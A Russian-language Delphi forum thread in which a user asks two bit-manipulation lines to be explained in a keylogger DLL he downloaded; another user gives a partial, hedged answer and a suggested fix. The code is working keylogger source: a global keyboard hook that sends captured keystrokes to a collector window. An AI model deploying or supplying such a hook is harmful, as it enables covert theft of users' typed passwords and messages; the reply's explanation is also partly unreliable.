delphi, клав. шпион (Работа с битами)

[cruk91]

Разбираю прицип работы клавиатурного шпиона который скачал отсюда http://pblog.ru/?p=293, но не понимаю 2 строчки кода отмеченные коментариями, знающие люди обьясните плз их как можно более подробно
p.s. Искал в гугле довольно долго не помогло

library hookDLL;

uses
  Windows, Messages;

const
  WM_KEYEVENT = WM_USER+1;

var
  HookHandle: HHOOK = 0 ;
  KeybrdState:TKeyboardState;
  Symbol:array[0..1] of char;

function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
  ServerWnd: THandle;
  ScanCode:integer;
begin
  if CODE = HC_ACTION then
   if ((LParam and (LParam shl 30))=1) then {тут вероятно определяется 30 бит который означает состояние клавиши 
но каким образом получается это бит обьясните  подробнее}
    begin
     ServerWnd:=FindWindow(nil,'Simple keylogger <7F3AB89>');
     GetKeyboardState(KeybrdState);
     ScanCode:=(LParam shr 16)and $FF;//и эту строчку не понимаю
     if ToAscii(WParam,ScanCode,KeybrdState,@Symbol,0)>0 then
      PostMessage(ServerWnd, WM_KEYEVENT, ord(Symbol[0]), LParam)
                                                         else
      PostMessage(ServerWnd, WM_KEYEVENT, 0, LParam);
    end;
  Result:=CallNextHookEx(HookHandle, code, WParam, LParam);
end;

procedure SetKeyHook; stdcall; export;
begin
  if HookHandle=0 then
   HookHandle:=SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
end;

procedure DelKeyHook; stdcall; export;
begin
  if HookHandle <> 0 then UnhookWindowsHookEx(HookHandle);
   HookHandle:=0;
end;

exports
  SetKeyHook, DelKeyHook;

begin
end.

[Stilet]

((LParam and (LParam shl 30))=1)

Как я понимаю. Тут сравниваются первые два бита и последние два бита
Только ИМХО нужно приравнивать не к единице а к нулю:
((LParam and (LParam shl 30))<>0)

ScanCode:=(LParam shr 16)and $FF;//и эту строчку не понимаю

Тут выделяется верхняя часть 32-ного числа, которая представляет собой Скенкод.
Правда я не помню для чего $FF делается...

[cruk91]

спасибо, теперь понятно